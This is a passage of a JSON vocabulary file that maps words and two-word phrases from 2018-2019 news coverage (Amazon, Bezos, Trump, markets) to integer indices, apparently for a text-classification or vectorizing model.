5535,\n  \"heartbreaking\": 5536,\n  \"groups sent\": 5537,\n  \"110 billion\": 5538,\n  \"perhach\": 5539,\n  \"news chief\": 5540,\n  \"blogspot\": 5541,\n  \"make mistake\": 5542,\n  \"yorgos lanthimos\": 5543,\n  \"tony gonzalez\": 5544,\n  \"litzow\": 5545,\n  \"subsidiary moves\": 5546,\n  \"director marty\": 5547,\n  \"competition transportation\": 5548,\n  \"decision turns\": 5549,\n  \"ceo dheeraj\": 5550,\n  \"20180625\": 5551,\n  \"airport near\": 5552,\n  \"owns space\": 5553,\n  \"mississippi delta\": 5554,\n  \"outflows\": 5555,\n  \"national defense\": 5556,\n  \"additional 789\": 5557,\n  \"writings\": 5558,\n  \"forma\": 5559,\n  \"simple research\": 5560,\n  \"minimal income\": 5561,\n  \"deregulationist\": 5562,\n  \"president finishing\": 5563,\n  \"wyden ronald\": 5564,\n  \"projects developed\": 5565,\n  \"technology workers\": 5566,\n  \"hidden opportunities\": 5567,\n  \"lauchlan sooraj\": 5568,\n  \"resulting expensing\": 5569,\n  \"salary\": 5570,\n  \"know 2018\": 5571,\n  \"hq2 planning\": 5572,\n  \"nfp\": 5573,\n  \"rizzi\": 5574,\n  \"xenophobic policing\": 5575,\n  \"hatred bezos\": 5576,\n  \"wage issues\": 5577,\n  \"moderated according\": 5578,\n  \"breaches weaponization\": 5579,\n  \"eluded canadian\": 5580,\n  \"club bedminster\": 5581,\n  \"caravans supposedly\": 5582,\n  \"bartz\": 5583,\n  \"effectively bring\": 5584,\n  \"tremendous loss\": 5585,\n  \"photographer daniel\": 5586,\n  \"entirely clear\": 5587,\n  \"590 words\": 5588,\n  \"gardner tells\": 5589,\n  \"stays\": 5590,\n  \"work practices\": 5591,\n  \"kill approach\": 5592,\n  \"pix11 cristian\": 5593,\n  \"lighthearted impeach\": 5594,\n  \"waffling\": 5595,\n  \"year courtesy\": 5596,\n  \"glance alabama\": 5597,\n  \"meeting rebuffed\": 5598,\n  \"started licensing\": 5599,\n  \"wildly profitable\": 5600,\n  \"hotstar\": 5601,\n  \"organised rally\": 5602,\n  \"fee says\": 5603,\n  \"limited liability\": 5604,\n  \"strzok worked\": 5605,\n  \"\\u01424 5billion\": 5606,\n  \"gw henssler\": 5607,\n  \"weeks according\": 5608,\n  \"governments line\": 5609,\n  \"troy bombardia\": 5610,\n  \"shutterfly\": 5611,\n  \"amid weak\": 5612,\n  \"state visit\": 5613,\n  \"great challenge\": 5614,\n  \"uncomfortable facts\": 5615,\n  \"house meadows\": 5616,\n  \"privacy amazon\": 5617,\n  \"review tv\": 5618,\n  \"disruptive impact\": 5619,\n  \"unlikely story\": 5620,\n  \"hasn banned\": 5621,\n  \"complained\": 5622,\n  \"exclusives\": 5623,\n  \"million 864\": 5624,\n  \"demands posted\": 5625,\n  \"diesel\": 5626,\n  \"tm super\": 5627,\n  \"business known\": 5628,\n  \"hangover\": 5629,\n  \"share agreement\": 5630,\n  \"needs delivered\": 5631,\n  \"brought new\": 5632,\n  \"sign waits\": 5633,\n  \"murdoch owner\": 5634,\n  \"dreidel spins\": 5635,\n  \"propublica\": 5636,\n  \"replied\": 5637,\n  \"470 words\": 5638,\n  \"live hulu\": 5639,\n  \"digitalspy instagram\": 5640,\n  \"unparalleled\": 5641,\n  \"bad budget\": 5642,\n  \"playbook brussels\": 5643,\n  \"new characters\": 5644,\n  \"sonia\": 5645,\n  \"mother 2019\": 5646,\n  \"states defendant\": 5647,\n  \"border arresting\": 5648,\n  \"poorer service\": 5649,\n  \"felony stemming\": 5650,\n  \"tariff fight\": 5651,\n  \"midterm horn\": 5652,\n  \"fell broadly\": 5653,\n  \"benefit space\": 5654,\n  \"anticipated build\": 5655,\n  \"inexplicably elected\": 5656,\n  \"raising package\": 5657,\n  \"ap lori\": 5658,\n  \"legitimize\": 5659,\n  \"honorary\": 5660,\n  \"sec ruling\": 5661,\n  \"businesses employing\": 5662,\n  \"napolitano discussed\": 5663,\n  \"insurance price\": 5664,\n  \"regular post\": 5665,\n  \"store chain\": 5666,\n  \"concern pe\\u00f1a\": 5667,\n  \"ground north\": 5668,\n  \"bristlecone trace\": 5669,\n  \"krugman\": 5670,\n  \"sales report\": 5671,\n  \"origin goal\": 5672,\n  \"donald\": 5673,\n  \"ship commodities\": 5674,\n  \"investigators\": 5675,\n  \"kaiser\": 5676,\n  \"equivalent products\": 5677,\n  \"senate inflame\": 5678,\n  \"garment naked\": 5679,\n  \"zach gibson\": 5680,\n  \"ingraham interviewed\": 5681,\n  \"religious experience\": 5682,\n  \"traitor conservatives\": 5683,\n  \"remotely apple\": 5684,\n  \"national enquir\": 5685,\n  \"inequity\": 5686,\n  \"tax act\": 5687,\n  \"governments rival\": 5688,\n  \"firster rush\": 5689,\n  \"strength given\": 5690,\n  \"pecker wouldn\": 5691,\n  \"guest tom\": 5692,\n  \"linguist\": 5693,\n  \"envious\": 5694,\n  \"cantonese food\": 5695,\n  \"cozi creator\": 5696,\n  \"fortune hong\": 5697,\n  \"gecko\": 5698,\n  \"sears lauren\": 5699,\n  \"don fondle\": 5700,\n  \"content kris\": 5701,\n  \"make cheese\": 5702,\n  \"post comment\": 5703,\n  \"creole\": 5704,\n  \"bezos pecker\": 5705,\n  \"free expedited\": 5706,\n  \"increasingly common\": 5707,\n  \"sucked\": 5708,\n  \"strikes finally\": 5709,\n  \"appeal reach\": 5710,\n  \"brother supporter\": 5711,\n  \"sanders tweeted\": 5712,\n  \"deals paul\": 5713,\n  \"chicago river\": 5714,\n  \"payseno family\": 5715,\n  \"trump earlier\": 5716,\n  \"switching\": 5717,\n  \"strong handle\": 5718,\n  \"blackrock nyse\": 5719,\n  \"doorbell ring\": 5720,\n  \"major news\": 5721,\n  \"working man\": 5722,\n  \"financially distressed\": 5723,\n  \"growing feelings\": 5724,\n  \"amzn adopts\": 5725,\n  \"cape reveals\": 5726,\n  \"consecutive years\": 5727,\n  \"vilified experts\": 5728,\n  \"home experience\": 5729,\n  \"hgtv\": 5730,\n  \"825 better\": 5731,\n  \"founder jim\": 5732,\n  \"greener future\": 5733,\n  \"china turkey\": 5734,\n  \"costs directly\": 5735,\n  \"pentagon chief\": 5736,\n  \"bought ibm\": 5737,\n  \"tonght tuna\": 5738,\n  \"deserved\": 5739,\n  \"outcome bias\": 5740,\n  \"lot bigger\": 5741,\n  \"melatonin\": 5742,\n  \"revamped north\": 5743,\n  \"nancy davis\": 5744,\n  \"metropolitan\": 5745,\n  \"logistics anytime\": 5746,\n  \"lands\": 5747,\n  \"stuff muckerman\": 5748,\n  \"propagate chinese\": 5749,\n  \"viniar shares\": 5750,\n  \"house chief\": 5751,\n  \"crunch workers\": 5752,\n  \"schools opened\": 5753,\n  \"forces amazon\": 5754,\n  \"new competitors\": 5755,\n  \"concerned ami\": 5756,\n  \"msnbc morning\": 5757,\n  \"represent approximately\": 5758,\n  \"including steel\": 5759,\n  \"accusations swirl\": 5760,\n  \"shoplifters amazon\": 5761,\n  \"trucks\": 5762,\n  \"data department\": 5763,\n  \"j8 j8i\": 5764,\n  \"copious\": 5765,\n  \"trump second\": 5766,\n  \"starter ihob\": 5767,\n  \"tread carefully\": 5768,\n  \"market antitrust\": 5769,\n  \"certain cost\": 5770,\n  \"arone chief\": 5771,\n  \"extra pay\": 5772,\n  \"concerns maybe\": 5773,\n  \"employees contributions\": 5774,\n  \"colorful digs\": 5775,\n  \"581 million\": 5776,\n  \"emanations\": 5777,\n  \"tremor\": 5778,\n  \"3175\": 5779,\n  \"embolden\": 5780,\n  \"sergey\": 5781,\n  \"timing turn\": 5782,\n  \"story derek\": 5783,\n  \"bail selena\": 5784,\n  \"fried noted\": 5785,\n  \"alt los\": 5786,\n  \"maximum speed\": 5787,\n  \"comedy farout\": 5788,\n  \"ami included\": 5789,\n  \"useful tool\": 5790,\n  \"bankruptcies palace\": 5791,\n  \"215 000\": 5792,\n  \"ad outlays\": 5793,\n  \"author income\": 5794,\n  \"amazon selects\": 5795,\n  \"trump supreme\": 5796,\n  \"echo customer\": 5797,\n  \"pay levels\": 5798,\n  \"prurient\": 5799,\n  \"benign\": 5800,\n  \"627\": 5801,\n  \"dozen agencies\": 5802,\n  \"major revelations\": 5803,\n  \"saddam\": 5804,\n  \"constrain\": 5805,\n  \"effort businesswire\": 5806,\n  \"faces minimal\": 5807,\n  \"imagealt santa\": 5808,\n  \"album makes\": 5809,\n  \"simons emphasized\": 5810,\n  \"vendors amazon\": 5811,\n  \"exactly light\": 5812,\n  \"violence repeatedly\": 5813,\n  \"unforced error\": 5814,\n  \"glovebox\": 5815,\n  \"rare rebuke\": 5816,\n  \"outside tweet\": 5817,\n  \"afm\": 5818,\n  \"best scorers\": 5819,\n  \"extremely entertaining\": 5820,\n  \"quote spinal\": 5821,\n  \"anselmo\": 5822,\n  \"presidential memo\": 5823,\n  \"page street\": 5824,\n  \"2030\": 5825,\n  \"lago bezos\": 5826,\n  \"handle counterfeits\": 5827,\n  \"president suggested\": 5828,\n  \"community organizers\": 5829,\n  \"unwillingness\": 5830,\n  \"amazon ruralists\": 5831,\n  \"driver hits\": 5832,\n  \"research using\": 5833,\n  \"read socks\": 5834,\n  \"mortgages cooled\": 5835,\n  \"griffeth elf\": 5836,\n  \"report second\": 5837,\n  \"stand isis\": 5838,\n  \"circle including\": 5839,\n  \"opinion submit_a_letter\": 5840,\n  \"374 open\": 5841,\n  \"prevalence\": 5842,\n  \"streaming platform\": 5843,\n  \"received countless\": 5844,\n  \"electric scooters\": 5845,\n  \"turkey building\": 5846,\n  \"environmental defenders\": 5847,\n  \"r4\": 5848,\n  \"targeted amazon\": 5849,\n  \"platform ebay\": 5850,\n  \"jpg largepromoimage\": 5851,\n  \"story brandy\": 5852,\n  \"rally ahead\": 5853,\n  \"trump devotee\": 5854,\n  \"work eligibility\": 5855,\n  \"book recommendations\": 5856,\n  \"scott\": 5857,\n  \"little used\": 5858,\n  \"citylab richard\": 5859,\n  \"treasury prices\": 5860,\n  \"gun maverick\": 5861,\n  \"quarter update\": 5862,\n  \"ultimately permits\": 5863,\n  \"boasted\": 5864,\n  \"pressure stock\": 5865,\n  \"urges military\": 5866,\n  \"chua tiger\": 5867,\n  \"cigarettes juul\": 5868,\n  \"handmade blankets\": 5869,\n  \"billion adding\": 5870,\n  \"users alerts\": 5871,\n  \"dysfunctional\": 5872,\n  \"built plants\": 5873,\n  \"chicago eat\": 5874,\n  \"depreciation write\": 5875,\n  \"survive trips\": 5876,\n  \"apple search\": 5877,\n  \"cross case\": 5878,\n  \"kelly sexual\": 5879,\n  \"hampshire based\": 5880,\n  \"46b market\": 5881,\n  \"live streaming\": 5882,\n  \"harnik ap\": 5883,\n  \"hopefuls ought\": 5884,\n  \"portland area\": 5885,\n  \"published mccain\": 5886,\n  \"stop recognizing\": 5887,\n  \"anti government\": 5888,\n  \"network including\": 5889,\n  \"ossenbeck interprets\": 5890,\n  \"credulous bookseller\": 5891,\n  \"lander carlos\": 5892,\n  \"fucking republic\": 5893,\n  \"trump worked\": 5894,\n  \"400bn\": 5895,\n  \"special lawyer\": 5896,\n  \"class cell\": 5897,\n  \"success conference\": 5898,\n  \"invasion trump\": 5899,\n  \"outpolled\": 5900,\n  \"goods mark\": 5901,\n  \"nbc announced\": 5902,\n  \"total waste\": 5903,\n  \"bring cases\": 5904,\n  \"jerry zremski\": 5905,\n  \"2019 versus\": 5906,\n  \"long series\": 5907,\n  \"adm soy\": 5908,\n  \"line cbs\": 5909,\n  \"kkr\": 5910,\n  \"retention\": 5911,\n  \"takes holiday\": 5912,\n  \"mary poppins\": 5913,\n  \"american business\": 5914,\n  \"absurd\": 5915,\n  \"way questions\": 5916,\n  \"black gun\": 5917,\n  \"fun fact\": 5918,\n  \"powerful bomb\": 5919,\n  \"momentarily\": 5920,\n  \"george believes\": 5921,\n  \"getcurrentvideoindex\": 5922,\n  \"reportedly paying\": 5923,\n  \"fisch professor\": 5924,\n  \"shroud dubbed\": 5925,\n  \"levine explains\": 5926,\n  \"ap congress\": 5927,\n  \"amazon negotiate\": 5928,\n  \"specific aesthetic\": 5929,\n  \"parkland shootings\": 5930,\n  \"selection stressed\": 5931,\n  \"otherworld science\": 5932,\n  \"bearish bets\": 5933,\n  \"motive\": 5934,\n  \"report providing\": 5935,\n  \"adding tv\": 5936,\n  \"deepening relationship\": 5937,\n  \"portfolio manager\": 5938,\n  \"called soft\": 5939,\n  \"government federal\": 5940,\n  \"ruling justice\": 5941,\n  \"aafa grievances\": 5942,\n  \"oil trading\": 5943,\n  \"users 300m\": 5944,\n  \"trip forte\": 5945,\n  \"filmmaking\": 5946,\n  \"direction president\": 5947,\n  \"new mortgage\": 5948,\n  \"autostart\": 5949,\n  \"amazon michael\": 5950,\n  \"schlossberg\": 5951,\n  \"iron curtain\": 5952,\n  \"strike\": 5953,\n  \"far right\": 5954,\n  \"virally impactful\": 5955,\n  \"civilly protest\": 5956,\n  \"hold shares\": 5957,\n  \"political perspective\": 5958,\n  \"longtime network\": 5959,\n  \"maiga pic\": 5960,\n  \"staff shake\": 5961,\n  \"briefing mark\": 5962,\n  \"hancock\": 5963,\n  \"uksmallbizrt\": 5964,\n  \"jamie condliffe\": 5965,\n  \"haven deterred\": 5966,\n  \"party picked\": 5967,\n  \"away amazon\": 5968,\n  \"policy laughs\": 5969,\n  \"howorth explained\": 5970,\n  \"states lack\": 5971,\n  \"calming\": 5972,\n  \"congregation chabad\": 5973,\n  \"time passed\": 5974,\n  \"sent clear\": 5975,\n  \"fide small\": 5976,\n  \"paper amazon\": 5977,\n  \"metapack sales\": 5978,\n  \"volume remained\": 5979,\n  \"reality world\": 5980,\n  \"devil\": 5981,\n  \"chip gaines\": 5982,\n  \"hour standard\": 5983,\n  \"haggling\": 5984,\n  \"inc_homepage_headline_ab_test null\": 5985,\n  \"film premiere\": 5986,\n  \"dowless\": 5987,\n  \"antitrust actions\": 5988,\n  \"oedipal\": 5989,\n  \"predict\": 5990,\n  \"courtroom drama\": 5991,\n  \"continue serving\": 5992,\n  \"editor approved\": 5993,\n  \"nurse psychiatrist\": 5994,\n  \"salvaging metal\": 5995,\n  \"received far\": 5996,\n  \"inexplicably\": 5997,\n  \"refinancing\": 5998,\n  \"900 000\": 5999,\n  \"uniforming\": 6000,\n  \"jones vice\": 6001,\n  \"net john\": 6002,\n  \"linkedin earnings\": 6003,\n  \"day week\": 6004,\n  \"second black\": 6005,\n  \"job duties\": 6006,\n  \"incentive package\": 6007,\n  \"president arrival\": 6008,\n  \"bad tax\": 6009,\n  \"redemption story\": 6010,\n  \"politicians journalists\": 6011,\n  \"regulations encourage\": 6012,\n  \"7th slot\": 6013,\n  \"videotape bartiromo\": 6014,\n  \"planned investment\": 6015,\n  \"eventually affected\": 6016,\n  \"owns nearly\": 6017,\n  \"influential newspapers\": 6018,\n  \"received acclaims\": 6019,\n  \"pedigree mnuchin\": 6020,\n  \"alexa based\": 6021,\n  \"key driver\": 6022,\n  \"20181205\": 6023,\n  \"daily caller\": 6024,\n  \"political tome\": 6025,\n  \"offered package\": 6026,\n  \"profit education\": 6027,\n  \"member station\": 6028,\n  \"zealotry inciting\": 6029,\n  \"officially hit\": 6030,\n  \"new homes\": 6031,\n  \"expressing deep\": 6032,\n  \"120 responsiveimage\": 6033,\n  \"stan carroll\": 6034,\n  \"caption players\": 6035,\n  \"malicious microchips\": 6036,\n  \"company hubris\": 6037,\n  \"grab\": 6038,\n  \"microsoft 859\": 6039,\n  \"whippits\": 6040,\n  \"malignant effect\": 6041,\n  \"corporate target\": 6042,\n  \"au\": 6043,\n  \"perspective\": 6044,\n  \"record zinke\": 6045,\n  \"need regulation\": 6046,\n  \"influence wielded\": 6047,\n  \"180 words\": 6048,\n  \"ou amazon\": 6049,\n  \"stocks story\": 6050,\n  \"brewing rivalry\": 6051,\n  \"stay involved\": 6052,\n  \"events planned\": 6053,\n  \"google microsoft\": 6054,\n  \"city hopes\": 6055,\n  \"reasoning\": 6056,\n  \"columbus pledged\": 6057,\n  \"yong\": 6058,\n  \"tax responsibility\": 6059,\n  \"alleged gunman\": 6060,\n  \"private money\": 6061,\n  \"craniotomy\": 6062,\n  \"goldman writes\": 6063,\n  \"york lots\": 6064,\n  \"left speaks\": 6065,\n  \"long journalistic\": 6066,\n  \"novelists tracks\": 6067,\n  \"mounce executive\": 6068,\n  \"traditional arrangement\": 6069,\n  \"foto sourcebusiness\": 6070,\n  \"trump gloated\": 6071,\n  \"subscribers hours\": 6072,\n  \"elementary schools\": 6073,\n  \"named including\": 6074,\n  \"community gianaris\": 6075,\n  \"unconditionally\": 6076,\n  \"loyalty program\": 6077,\n  \"change ipcc\": 6078,\n  \"comment california\": 6079,\n  \"great think\": 6080,\n  \"grief investigations\": 6081,\n  \"oracle ibm\": 6082,\n  \"robotics company\": 6083,\n  \"cbsmiami\": 6084,\n  \"krauthammer abridged\": 6085,\n  \"pensacola\": 6086,\n  \"plants fake\": 6087,\n  \"confidence allowing\": 6088,\n  \"pop store\": 6089,\n  \"politicians amazon\": 6090,\n  \"indignation crested\": 6091,\n  \"including just\": 6092,\n  \"headlines house\": 6093,\n  \"elevator pitch\": 6094,\n  \"post publishes\": 6095,\n  \"mundo quiere\": 6096,\n  \"delayed ipo\": 6097,\n  \"niobium metal\": 6098,\n  \"tweet stream\": 6099,\n  \"chinese ones\": 6100,\n  \"wulfraat\": 6101,\n  \"told breitbart\": 6102,\n  \"klieger wrote\": 6103,\n  \"federal opportunity\": 6104,\n  \"earlier study\": 6105,\n  \"trump regulators\": 6106,\n  \"public economic\": 6107,\n  \"warmer takes\": 6108,\n  \"daily newsletters\": 6109,\n  \"q4 indicates\": 6110,\n  \"optional\": 6111,\n  \"include roku\": 6112,\n  \"paid tribute\": 6113,\n  \"think heading\": 6114,\n  \"jrhoten\": 6115,\n  \"presentations following\": 6116,\n  \"bigger fish\": 6117,\n  \"gatekeepers\": 6118,\n  \"political agendas\": 6119,\n  \"flights practice\": 6120,\n  \"offer lower\": 6121,\n  \"international hotel\": 6122,\n  \"nyt owner\": 6123,\n  \"tax itep\": 6124,\n  \"behavior 2018\": 6125,\n  \"allen argument\": 6126,\n  \"resignation claiming\": 6127,\n  \"occasions telling\": 6128,\n  \"management hammer\": 6129,\n  \"technology giants\": 6130,\n  \"state customer\": 6131,\n  \"evils\": 6132,\n  \"photo cliff\": 6133,\n  \"nashville claims\": 6134,\n  \"inspiring mary\": 6135,\n  \"peg\": 6136,\n  \"mccorkle\": 6137,\n  \"smokey\": 6138,\n  \"cakes\": 6139,\n  \"applicant companies\": 6140,\n  \"blue president\": 6141,\n  \"personal democracy\": 6142,\n  \"technical information\": 6143,\n  \"conference hibs\": 6144,\n  \"example andrew\": 6145,\n  \"administration report\": 6146,\n  \"event organized\": 6147,\n  \"private property\": 6148,\n  \"tech largest\": 6149,\n  \"negotiated arrangements\": 6150,\n  \"deceiving simplicity\": 6151,\n  \"studio 8h\": 6152,\n  \"called hwasong\": 6153,\n  \"zteirstein\": 6154,\n  \"administration president\": 6155,\n  \"time thought\": 6156,\n  \"include metapack\": 6157,\n  \"shared insight\": 6158,\n  \"queens pic\": 6159,\n  \"189 times\": 6160,\n  \"purposefully\": 6161,\n  \"scola nscola\": 6162,\n  \"sir david\": 6163,\n  \"amid tighter\": 6164,\n  \"stream media\": 6165,\n  \"supported federal\": 6166,\n  \"claim journalist\": 6167,\n  \"clear waves\": 6168,\n  \"orwell 1984\": 6169,\n  \"everyday working\": 6170,\n  \"did later\": 6171,\n  \"figure new\": 6172,\n  \"city michael\": 6173,\n  \"cloud hybrid\": 6174,\n  \"orlando government\": 6175,\n  \"meaningful bond\": 6176,\n  \"notable\": 6177,\n  \"results just\": 6178,\n  \"kindle alexa\": 6179,\n  \"party begin\": 6180,\n  \"apple finished\": 6181,\n  \"000 sweaters\": 6182,\n  \"permanent member\": 6183,\n  \"googl invented\": 6184,\n  \"sean colarossi\": 6185,\n  \"leave rampback\": 6186,\n  \"films ceo\": 6187,\n  \"147\": 6188,\n  \"pricing want\": 6189,\n  \"closer look\": 6190,\n  \"smashracismdc\": 6191,\n  \"presidency ahead\": 6192,\n  \"idriss d\\u00e9by\": 6193,\n  \"week limit\": 6194,\n  \"tempts savers\": 6195,\n  \"sly sketch\": 6196,\n  \"group formed\": 6197,\n  \"wellbeing\": 6198,\n  \"algorithmic recommendations\": 6199,\n  \"telecommunications service\": 6200,\n  \"demand 2018\": 6201,\n  \"state check\": 6202,\n  \"marketwatch including\": 6203,\n  \"spent billions\": 6204,\n  \"cancer survivorship\": 6205,\n  \"marvel series\": 6206,\n  \"return n7\": 6207,\n  \"companies pay\": 6208,\n  \"miniseries\": 6209,\n  \"website selling\": 6210,\n  \"chinese market\": 6211,\n  \"using linux\": 6212,\n  \"neighbor tech\": 6213,\n  \"colors santiago\": 6214,\n  \"dave\": 6215,\n  \"various interests\": 6216,\n  \"scholars told\": 6217,\n  \"core\": 6218,\n  \"city immigrants\": 6219,\n  \"anselmo california\": 6220,\n  \"blanking\": 6221,\n  \"lessen america\": 6222,\n  \"nancy abudu\": 6223,\n  \"restart\": 6224,\n  \"pincus check\": 6225,\n  \"amazon records\": 6226,\n  \"plus yield\": 6227,\n  \"ice employee\": 6228,\n  \"rush wait\": 6229,\n  \"examiner columnist\": 6230,\n  \"purposes sic\": 6231,\n  \"democracy issues\": 6232,\n  \"platform terms\": 6233,\n  \"440\": 6234,\n  \"executive producer\": 6235,\n  \"international consumer\": 6236,\n  \"server719395\": 6237,\n  \"finance child\": 6238,\n  \"post logo\": 6239,\n  \"felt right\": 6240,\n  \"kristine coratti\": 6241,\n  \"lead idc\": 6242,\n  \"043\": 6243,\n  \"paul city\": 6244,\n  \"hinterland\": 6245,\n  \"530 shares\": 6246,\n  \"marriage president\": 6247,\n  \"archival\": 6248,\n  \"include representatives\": 6249,\n  \"farm yields\": 6250,\n  \"cloud offering\": 6251,\n  \"guarantee dave\": 6252,\n  \"page michelle\": 6253,\n  \"different culture\": 6254,\n  \"nutritional healing\": 6255,\n  \"extend benefits\": 6256,\n  \"wouldn ask\": 6257,\n  \"posthumously\": 6258,\n  \"warned democrats\": 6259,\n  \"does briefly\": 6260,\n  \"workers really\": 6261,\n  \"large trump\": 6262,\n  \"suffrage\": 6263,\n  \"lordstown closing\": 6264,\n  \"noise reducing\": 6265,\n  \"fixing city\": 6266,\n  \"plan design\": 6267,\n  \"safer ground\": 6268,\n  \"trump parlance\": 6269,\n  \"generate code\": 6270,\n  \"users view\": 6271,\n  \"team spoke\": 6272,\n  \"newly hired\": 6273,\n  \"bars executive\": 6274,\n  \"counsel limited\": 6275,\n  \"single session\": 6276,\n  \"starkly\": 6277,\n  \"business district\": 6278,\n  \"capital private\": 6279,\n  \"473 shares\": 6280,\n  \"amazon seized\": 6281,\n  \"bookselling business\": 6282,\n  \"debunks florence\": 6283,\n  \"dominate market\": 6284,\n  \"published bythe\": 6285,\n  \"leadership subject\": 6286,\n  \"company headquarters\": 6287,\n  \"grieving\": 6288,\n  \"monetary damages\": 6289,\n  \"congress foxnews\": 6290,\n  \"thanksgiving\": 6291,\n  \"pirro foto\": 6292,\n  \"time disputed\": 6293,\n  \"imprisoning\": 6294,\n  \"vilify\": 6295,\n  \"jobs rep\": 6296,\n  \"company tried\": 6297,\n  \"billion monthly\": 6298,\n  \"geography challenge\": 6299,\n  \"cs1avpng6l kyle\": 6300,\n  \"rainy\": 6301,\n  \"sanchez provided\": 6302,\n  \"concedes gop\": 6303,\n  \"territory google\": 6304,\n  \"report strikes\": 6305,\n  \"declare executive\": 6306,\n  \"recent deal\": 6307,\n  \"repeatedly pressing\": 6308,\n  \"operation buy\": 6309,\n  \"probe publicly\": 6310,\n  \"best opportunity\": 6311,\n  \"attainment\": 6312,\n  \"companies regarding\": 6313,\n  \"aric crabb\": 6314,\n  \"alana mounce\": 6315,\n  \"potential doj\": 6316,\n  \"massive abuse\": 6317,\n  \"baity title\": 6318,\n  \"profitable suffering\": 6319,\n  \"harming\": 6320,\n  \"mother wants\": 6321,\n  \"room party\": 6322,\n  \"leading pro\": 6323,\n  \"private profit\": 6324,\n  \"headphones arrive\": 6325,\n  \"congressional successor\": 6326,\n  \"issue occurs\": 6327,\n  \"enforcement agents\": 6328,\n  \"director joseph\": 6329,\n  \"going exceedingly\": 6330,\n  \"told sean\": 6331,\n  \"twister\": 6332,\n  \"national carnage\": 6333,\n  \"trump seemingly\": 6334,\n  \"brouhaha\": 6335,\n  \"designing\": 6336,\n  \"tiger woods\": 6337,\n  \"post detailed\": 6338,\n  \"investigations targeting\": 6339,\n  \"wwdc\": 6340,\n  \"slide uber\": 6341,\n  \"strong second\": 6342,\n  \"mnuchin personal\": 6343,\n  \"important lesson\": 6344,\n  \"introduce new\": 6345,\n  \"department sources\": 6346,\n  \"warewashing efficiency\": 6347,\n  \"starts olick\": 6348,\n  \"positive guidance\": 6349,\n  \"luverne\": 6350,\n  \"kidney cells\": 6351,\n  \"cover amazon\": 6352,\n  \"series proving\": 6353,\n  \"amazon steep\": 6354,\n  \"shelley 181\": 6355,\n  \"doling\": 6356,\n  \"behrendt\": 6357,\n  \"41st\": 6358,\n  \"hacked instead\": 6359,\n  \"credit video\": 6360,\n  \"stay married\": 6361,\n  \"work requiring\": 6362,\n  \"schuman\": 6363,\n  \"fireside chat\": 6364,\n  \"legendary investor\": 6365,\n  \"collect data\": 6366,\n  \"sounding\": 6367,\n  \"actual structure\": 6368,\n  \"pretextual\": 6369,\n  \"publisher simon\": 6370,\n  \"critical trump\": 6371,\n  \"shares ny\": 6372,\n  \"helipads zoo\": 6373,\n  \"father cab\": 6374,\n  \"families day\": 6375,\n  \"function throw\": 6376,\n  \"latest tv\": 6377,\n  \"shutdown financial\": 6378,\n  \"violent confrontation\": 6379,\n  \"610\": 6380,\n  \"employees received\": 6381,\n  \"michigan posted\": 6382,\n  \"spigen phone\": 6383,\n  \"cbs nbc\": 6384,\n  \"trump built\": 6385,\n  \"jpg 635x367\": 6386,\n  \"abolished\": 6387,\n  \"banking regulators\": 6388,\n  \"largest philanthropic\": 6389,\n  \"crash\": 6390,\n  \"rescue president\": 6391,\n  \"new communication\": 6392,\n  \"shampoo\": 6393,\n  \"device eld\": 6394,\n  \"market temporarily\": 6395,\n  \"aide sean\": 6396,\n  \"card trump\": 6397,\n  \"amazon ec2\": 6398,\n  \"amazon gm\": 6399,\n  \"danny donnell\": 6400,\n  \"journalist received\": 6401,\n  \"publishing text\": 6402,\n  \"draw\": 6403,\n  \"veteran attorney\": 6404,\n  \"romanian man\": 6405,\n  \"radical islamic\": 6406,\n  \"unions sent\": 6407,\n  \"societies\": 6408,\n  \"kurd feud\": 6409,\n  \"character test\": 6410,\n  \"reportedly plotting\": 6411,\n  \"brought home\": 6412,\n  \"particular odds\": 6413,\n  \"markets says\": 6414,\n  \"really took\": 6415,\n  \"science social\": 6416,\n  \"democracy\": 6417,\n  \"news gop\": 6418,\n  \"billion 450920002\": 6419,\n  \"gaining reputation\": 6420,\n  \"haunt\": 6421,\n  \"371\": 6422,\n  \"national presidential\": 6423,\n  \"agony mammal\": 6424,\n  \"greenlit task\": 6425,\n  \"city unlike\": 6426,\n  \"bezos cell\": 6427,\n  \"middle ground\": 6428,\n  \"clarity\": 6429,\n  \"conner family\": 6430,\n  \"studying art\": 6431,\n  \"action prompted\": 6432,\n  \"collectable\": 6433,\n  \"disturbed regulators\": 6434,\n  \"concept does\": 6435,\n  \"cnbc doubled\": 6436,\n  \"divided cabinet\": 6437,\n  \"2016 democratic\": 6438,\n  \"carson retired\": 6439,\n  \"hasn charged\": 6440,\n  \"roughly\": 6441,\n  \"universities\": 6442,\n  \"averaging\": 6443,\n  \"dozen bestsellers\": 6444,\n  \"bezos spare\": 6445,\n  \"p4 var\": 6446,\n  \"plea agreement\": 6447,\n  \"included fact\": 6448,\n  \"goods marketplace\": 6449,\n  \"american turkish\": 6450,\n  \"redlining\": 6451,\n  \"area news\": 6452,\n  \"giants wapo\": 6453,\n  \"donald 2019\": 6454,\n  \"98point6 believes\": 6455,\n  \"higher delivery\": 6456,\n  \"diction\": 6457,\n  \"ore ap\": 6458,\n  \"knot divorce\": 6459,\n  \"laetrile stopped\": 6460,\n  \"retail power\": 6461,\n  \"dominated economy\": 6462,\n  \"reported 195\": 6463,\n  \"animal murder\": 6464,\n  \"comey media\": 6465,\n  \"low google\": 6466,\n  \"affordable postal\": 6467,\n  \"prevents\": 6468,\n  \"way american\": 6469,\n  \"phone owlfirstitem\": 6470,\n  \"uses city\": 6471,\n  \"workers talked\": 6472,\n  \"fund\": 6473,\n  \"ghd\": 6474,\n  \"case linked\": 6475,\n  \"place seattle\": 6476,\n  \"hours stagnating\": 6477,\n  \"browser windows\": 6478,\n  \"line democracy\": 6479,\n  \"provided vital\": 6480,\n  \"making treatment\": 6481,\n  \"levi insists\": 6482,\n  \"look don\": 6483,\n  \"abedin\": 6484,\n  \"gods amazon\": 6485,\n  \"technically advanced\": 6486,\n  \"carry cell\": 6487,\n  \"led marketing\": 6488,\n  \"report earnings\": 6489,\n  \"return g4\": 6490,\n  \"triggering\": 6491,\n  \"education bills\": 6492,\n  \"expected earnings\": 6493,\n  \"chinese telecom\": 6494,\n  \"spot ahead\": 6495,\n  \"largest components\": 6496,\n  \"money evolution\": 6497,\n  \"fedex revenue\": 6498,\n  \"amzn receive\": 6499,\n  \"workers speak\": 6500,\n  \"controversy highlights\": 6501,\n  \"showrunner carlton\": 6502,\n  \"undeniably viable\": 6503,\n  \"abroad refugees\": 6504,\n  \"trumps accusation\": 6505,\n  \"advertisement amazon\": 6506,\n  \"problem sellers\": 6507,\n  \"forward greer\": 6508,\n  \"amzn branded\": 6509,\n  \"week trump\": 